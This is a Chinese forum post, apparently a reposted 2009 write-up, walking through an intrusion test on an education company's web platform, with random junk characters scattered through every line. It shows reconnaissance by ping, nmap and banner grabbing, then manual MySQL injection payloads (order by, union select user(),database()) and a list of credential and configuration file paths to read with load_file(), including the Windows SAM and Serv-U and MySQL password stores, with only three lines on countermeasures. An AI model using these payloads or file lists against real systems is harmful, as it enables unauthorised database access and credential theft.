题记：
7 G+ _& ]1 V) o/ {) u7 a一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……3 O9 y$ B) d. y$ M5 T& N- [. L# D
第一步：获取需要的信息5 D* w+ D! }/ o7 _
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。: K& g& c& F s) U+ ^
注：以下为保护特用XXX代替敏感信息' E0 |* u, x( g7 k; P; w
顺手先PING了一下他们的域名：' ?( |+ u" S, v
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）7 k( ~ }" a. O7 B" p
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms+ n+ U' ]9 P5 p$ { a2 S( i0 Z
顺便了解一下TTL，学好基础知识才能一路顺风：1 e, j, W3 R. g' d# G' P, v6 V
TTL：(Time To Live ) 生存时间6 }0 H4 c0 c& P5 {$ d% ]
指定数据包被路由器丢弃之前允许通过的网段数量。: q+ Z x0 f; I7 Q1 q6 ]. w* y5 m
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。$ W& Y- b3 \. M( B; }
使用PING时涉及到的 ICMP 报文类型3 [! k* P4 n- w7 e
一个为ICMP请求回显（ICMP Echo Request）
) `3 E: E- l3 \+ h" h( c1 o$ T& e3 j一个为ICMP回显应答（ICMP Echo Reply）
0 S- e$ h6 W. QTTL 字段值可以帮助我们识别操作系统类型。
* l1 { j) N' y# g3 |* dUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255" _$ I% d4 s; ?. ^3 L
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64' ?7 J7 T1 w' W- s3 E# E: V
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. g2 j8 z- j4 f+ i' l# d
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
5 r7 `8 @* t" T% z6 e7 d当然，返回的TTL值是相同的
- D. N0 d3 b' G+ w4 }但有些情况下有所特殊
( W, ^$ Z# t- r* Z9 iLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
1 i" v8 H7 S+ B& B& PFreeBSD 4.1, 4.0, 3.4;
4 D! S4 W$ b# H' s" `* E" A- iSun Solaris 2.5.1, 2.6, 2.7, 2.8;5 x& J, l% k3 Q0 x4 m3 W9 T
OpenBSD 2.6, 2.7,
* z; ~* D% j+ s5 WNetBSD) ~/ u3 s1 v' |- @7 | H
HP UX 10.20# T( h$ D" B: v; e. R" c6 `+ J3 T
ICMP 回显应答的 TTL 字段值为 255) X5 M+ }1 n0 G5 {1 v& `
Windows 95/98/98SE( O8 A' D3 l6 p
Windows ME
3 \9 G. a* Y, r# V, V, L$ s+ uICMP 回显应答的 TTL 字段值为 320 Y# g+ q* j8 a5 j# x
Windows NT4 WRKS- Q2 b; B F& D: I7 e5 c
Windows NT4 Server3 |- c0 A9 o8 ]/ ~" x; _
Windows 2000/ u* @+ D) E' H
Windows XP1 P% ^( f" P; j) V
ICMP 回显应答的 TTL 字段值为 128" o. b0 [5 s% b8 n' _$ U, w
这样，我们就可以通过这种方法来辨别操作系统% l; W9 b: U8 I
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
0 `/ J1 S: J4 r用NMAP扫描一下：
- n& L& V! G$ knmap -sT -O XXX.XXX.XXX.XXX
& B P# x& {5 F& U如果没有装WinPcap则会弹出提示：
& T- Z* P- X# G9 q2 z3 kWARNING: Could not import all necessary WinPcap functions. You may need to upgr
2 U+ p* k& N. X( ~ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect() H: f: L, e! o. g5 [" K0 g
) mode — Nmap may not function completely$ u1 D% T1 J# d: z a; j
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
* m( t; w( f2 ?% Gand iphlpapi.dll be installed. You seem to be missing one or both of these. Win! }8 @( |0 P2 g6 D( B) x+ p
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
1 |% }2 V* N% T( Xd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
9 W& ]$ F& }* s5 |/ A! Q" K0 b+ n' Hersions, you may be able to take iphlpapi.dll from another system and place it i* S* e' E1 \' z# U& t
n your system32 dir (e.g. c:\windows\system32).
6 M+ W5 G0 q: i/ oQUITTING!. h4 y5 m6 p" Z" v
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe& ?8 F4 W+ @5 z7 \/ L m
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
. q; g' h, f$ U- jInteresting ports on XXX.XXX.XXX.XXX:
; p8 p& w" [8 Y/ V" S- oNot shown: 986 closed ports& X$ I4 a0 I) g/ [) j
PORT STATE SERVICE
/ b+ \4 I1 Z# w, I' Y21/tcp open ftp! _; U! Z" X2 x1 h" a8 o
22/tcp open ssh; ~+ S' g! W/ S, q' F% q- _* f! [ ~
23/tcp open telnet; |, m, B" @" d& P& b
80/tcp open http3 e3 \5 |4 z3 `( n
111/tcp open rpcbind6 n( x" r+ J* w7 ^7 j9 T/ d
135/tcp filtered msrpc
u3 {! `# R2 A7 d3 D0 T139/tcp filtered netbios-ssn, Y: i7 E: u+ V- B
445/tcp filtered microsoft-ds( Z9 O. d' z! s+ r6 s- _
513/tcp open login
: ~& B7 Z# b8 \514/tcp open shell
: _" _2 U: ?+ S; j' [& C0 `593/tcp filtered http-rpc-epmap& ]- ?5 _8 ]' V9 g/ X2 y- U
1720/tcp filtered H.323/Q.931
2 g9 A% p9 L& i" p( ~- t% m: l3306/tcp open mysql
; u8 r6 y+ y6 J. S5 s4444/tcp filtered krb524/ O% T9 r: ^+ W' a
Device type: WAP ?3 Q9 S. L- V" k* ?' v9 X
Running: Linux 2.4.X
7 S# S' m3 J- m: \5 yOS details: DD-WRT (Linux 2.4.35s)
$ c- N4 m, G8 v* n3 C8 p: X1 n7 ^Network Distance: 13 hops8 k2 E% U4 A/ P! N2 K) S: g- Q
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
$ ~0 S9 }3 v/ J, w/ ~6 Vlogin as:+ y5 p3 A( |$ E$ M X% {
Telnet23端口也是开着的，用telnet 命令链接一下：. M) u! H2 r$ T# O g
telnet XXX.XXX.XXX.XXX
2 j- [0 [0 C1 `$ Y: P" d. f提示：. A; \% j; d' s8 H* s) }
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
6 S- A% D) w: T! v$ M/ L! x! t9 qKernel 2.6.18-92.el5PAE on an i686' T7 K: t/ ]2 o( P& j; p
login:
* {# M9 I ]' ]- d3 x& K$ {7 b获取HTTP头信息：
4 {, T7 r+ Z! R1 E& y在本地执行如下PHP代码
! b& b0 q8 r8 r1 ^$ o5 u# ^<?php
2 w# U& K) S+ b: Z$url = ‘XXX.XXX.XXX.XXX’;( |- j& w2 x5 p* W- {4 H1 u/ m7 u5 B4 k
print_r(get_headers($url));( `/ I' ?8 R& f8 ?/ W
print_r(get_headers($url, 1));
# H; _' n K( h. ^, p9 G?>& H0 `* h& z- q9 ?& I
将以上代码保存为PHP文件，执行：/ [2 z: I3 W, a O8 B
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
6 U0 g# a* @. m! n现在可以得出结论：7 e9 X0 B; k4 N, w- {7 S
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 {4 \/ I0 k! A$ q4 m( D内核版本：Kernel 2.6.18-92.el5PAE on an i686
2 @) V$ }0 ~) R% N HWEB服务器版本：nginx/0.7.61
9 h7 |; H2 t4 ?4 w* O第二步，开始测试寻找漏洞0 G, a8 w$ P7 x: ]; ^7 ?" [
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。) g4 @ s; L7 F! V9 t8 b) v2 m
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
0 f2 j4 z0 D* B1 j) j2、测试方法：在地址后加 and 1=1 和 and 1=2 测试8 v1 Y' @8 R1 [. w1 `* @
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常9 y# ], n# t# h- a
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误- ]6 s: E1 t% M+ X' F8 y
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续( R. J4 Z" f6 C" ^2 W3 g) E) P
3、手工注入：
. ]0 a" H- W! z7 [注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
( x1 e8 Q9 T' M& N; m3.1 猜测当前表字段数
- {! R. P2 d4 w. ~http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
# z* e, R0 l* n3 j% g此处猜测有个简单的算法，都是有技巧的吗，呵呵
& k: N" [: E1 n9 w! d: |算法简单如下：
; r, J* [+ i4 |第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
+ T8 e2 F% c0 U6 _( n第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；) _0 e1 r t) ^1 g* j
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。4 U$ C/ M ?2 H
以此来判断，是否过界，配合取中算法猜出字段数。( S0 j* i& n. h( m3 J( L# t
举例：
& Y' z* O" c @- v* uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
+ H' u( Z) x4 t0 k' A- s8 hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
' L# U$ _/ n" d0 O& ?. `% ]此时3则为我们要找的字段数。; K% }: O1 l7 J6 D- w
3.2 配合union联合查询字段在页面所位置/ `( y) z* [/ S. }
我们已经知道了字段数为3，此时则可以做如下操作：
4 Q1 b2 b5 K$ ^7 F/ V* D3 Chttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
7 K8 Z2 H/ |, ~0 ~' S& Z# T! v- C+ O1 Y
这样就可以测试到哪些字段在页面上有所显示了，如图：
, E) X2 Y) M$ e& q0 Z, o. z n x' n( ~, K
3.3 查敏感信息
' m6 i: M+ P1 u( v这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
; ~# k+ T& N+ @7 @7 a' y# nhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()0 G( S7 S$ x0 b7 T& U6 _; |
3.3.1 先查数据库用户、数据库名，以备后用，如图：
& S/ d7 c6 z! C2 W0 { K& U& [ R) {8 ?5 S
得到数据库用户为root、数据库名为DBxx；
+ j0 p& Z9 w. |0 b- k E& i3.3.2 查配置文件
6 o( S7 E4 ?% A. t" B查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。: J% k, x+ E) O V+ f2 I
查看文件有一定的条件限制：: G4 w' B4 O- ?# b4 m/ L8 ^
欲读取文件必须在服务器上
1 V# B6 f( L% s0 ?) T" K% g必须指定文件完整的路径7 D! ^( v; E" W8 _ ~* Y
必须有权限读取并且文件必须完全可读
- V7 R+ H! y) S1 F3 b# B1 K欲读取文件必须小于 max_allowed_packet* j8 @2 p5 Q% l) U$ e! l+ W* v
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。5 _; q) V8 D& B& s9 R' \& r1 m% S: T4 p
常用的一些：
& d: z m. Z" v" \3 A/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/ ], x! K7 K# Y. v* l! q/usr/local/apache2/conf/httpd.conf$ u& c4 F6 `. x! {( u! S: {
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- P: f, k3 n% y$ D* @$ B/usr/local/app/php5/lib/php.ini //PHP相关设置 }. A# o, H8 K4 i
/etc/sysconfig/iptables //从中得到防火墙规则策略
w( }' J" P. Q X& u# ^* u/etc/httpd/conf/httpd.conf // apache配置文件
, i3 D' D3 Z; x( B9 z" u/etc/rsyncd.conf //同步程序配置文件
' r( {) ~0 v! D. M% P/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP./ \, D C3 g: b/ W+ K* B# d3 q; r) H
/etc/my.cnf //mysql的配置文件6 Z) V1 |5 y$ {# r" D" ]3 w
/etc/redhat-release //系统版本! x$ ]' n G5 u# r
/etc/issue9 C+ b# f5 I" u$ M+ A& {5 q
/etc/issue.net
4 X5 k L0 x6 {8 y3 {c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码2 {+ g% ]& d2 ^( z* ~
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码& J! H ]8 N' k* Q
c:\Program Files\Serv-U\ServUDaemon.ini/ f. u X. K6 p7 I
c:\windows\my.ini //MYSQL配置文件
+ x4 z- v: L) ^/ w& kc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件- _ u7 ~6 S' w# _5 b8 h. D+ @
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，9 n8 d0 R4 x* B# F) J7 j
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
+ y# Y& H# [( m$ e# z- oc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此, U) C! k0 }2 q$ v6 `
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
$ {1 i- {. l, i$ |1 ?C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 \1 v5 U& U3 \& y! e2 Z3 s
//存储了pcAnywhere的登陆密码
- Q8 o& } A4 Z5 w) ?/ m" W1 ]7 \由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
- L5 {8 f' j/ j+ U) C& O) w这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。: R" D3 c, x7 p S' Z
最后：防范措施
: ~/ A- [3 e/ v# @) K1、修复PHP注入漏洞；0 e+ X9 O* s) H' I3 Y8 Q+ U i
2、Mysql使用普通权限的用户；9 i) i' ^) R& Y
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对